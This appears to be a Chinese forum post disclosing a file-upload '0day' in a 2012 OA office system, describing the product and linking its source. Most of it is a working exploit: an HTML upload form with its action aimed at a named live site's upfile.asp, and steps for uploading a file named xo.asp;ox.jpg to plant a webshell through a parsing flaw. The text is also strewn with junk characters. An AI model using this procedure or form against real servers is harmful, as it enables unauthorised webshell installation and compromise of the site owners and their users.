全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
2 T0 b1 R+ Q2 |6 q/ z* W系统介绍：

( d" j) [9 c3 G; ]. c2 D$ O全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
1 D5 l; X8 t4 B6 n5 U) j2 D
主要功能：
8 l' [! I& b. L8 P; [* ~公司通告
" m2 W; z6 a8 A2 K9 u" Q6 w5 x: Z1 P工作计划
通讯助理
. ~$ N9 [4 d3 V9 Z客户资源
- k' V' o- E; S# N6 ^) w我的公文
公文传阅
& J. U0 Y2 e( J1 s公共资源
& G, O! j7 n3 {" b2 g; W资源预约
  A5 g  j* E. z/ W4 f( @今日考勤
个人计划
个人通讯录
; M9 S: s: }: n7 o7 Y个人基本档案
* q, q6 F" i# X  V/ M& Y& l* P' u' S未读邮件
( |) G/ w# ^& ~8 W0 o+ w" u, F发邮件
, y( W. E- I5 O收件夹
. m; I2 U) T  F, f( V  V; x寄件夹
网络硬盘
2 D9 P9 m: I+ R3 Y7 D, [1 q网络会议
网络调查
交流论坛

3 @) r8 x% P& Y$ b/ f# \有兴趣测试的朋友可以下源码看看

8 K) _- q2 e7 Q+ M1 q# B6 b源码下载：
  ^0 O, Y* z; `+ ?, F5 f8 k5 y
http://www.mycodes.net/30/4750.htm

( H5 j3 n4 M- `, }5 Y漏洞介绍：

+ i- s: g7 q% h+ o0 j, f, H8 U由upfile.asp上传文件漏洞引起
7 U( g* r: B/ O; q
, V1 z) e) [' R# \! q测试方法：

6 O0 U0 L5 K; _0 a使用名小子上传http://www.itlynn.com/upfile.asp即可
" m2 p7 i% ]0 k0 v
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

) }, R! I' D) d$ o3 T然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。


- R& q6 d2 r# u
01 <table border='0' align="center" cellpadding="5">

; q) |) S% p- }5 X* z02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

* M# ?, M+ d' u3 T$ v( M: p03 <tr>
2 F! D9 u( d1 f; P% ^9 L3 n. V
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
2 H. a0 J$ H) H( r( W5 \& w  p" }
07               <input type='radio' name='errnumber' value='1' checked>

$ o' b, _9 ]4 b, j1 v( ]08               报错方式
- @& K& V* S+ C+ }) Y
7 p6 b1 C8 q3 m09               <input type='radio' name='errnumber' value='2'>
  U  `+ J* H4 b% y" _1 E' j9 g
10               直接覆盖</td>

11           </tr>
0 |. g2 Y2 L; Q
8 q7 o2 ^) U+ V- S2 y12           <tr>
3 b) |( B6 N' c! B# }2 X0 ~
13             <td>主题：</td>
6 t: K+ r2 o3 g6 @
14             <td><input type='text' name='filename' size='30'></td>
' b4 s+ D  n- S0 A
15           </tr>

16           <tr>
* g2 @3 r) S  }  i
/ ]" z8 D4 q/ I8 I2 M0 N17             <td>文件：</td>

: @* ^7 B" l5 N0 G/ c18             <td><input type="file"name="fruit"size="30"></td>

( f+ w& b  k0 q7 f9 M19           </tr>
! ^- W" p# p7 o( h' k/ i& b! f$ o' n
# v  s, M" R) h; J0 F20           <tr>

21             <td valign='top'>简介：</td>

4 ?: ?, f$ u5 V7 {+ Y+ U8 s22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
& R% o8 g- o4 q( _! p! h, {; I8 _
26           </tr>

27         </form>
/ Y- E, C" z. [7 i! T; X2 i; J. a
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
' H3 |6 H3 u5 i9 Z) L0 \/ q
9 y& I) y5 Q! H: Z- |0 q
1 V0 a, x# h* H0 N9 C
6 a) V# a: N4 y3 T: _. I/ Z% P1 Q上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
& Z" p. R& i5 {: w
此漏洞需要配合解析漏洞利用。
3 q% M: `0 Q% R; e* g; r9 b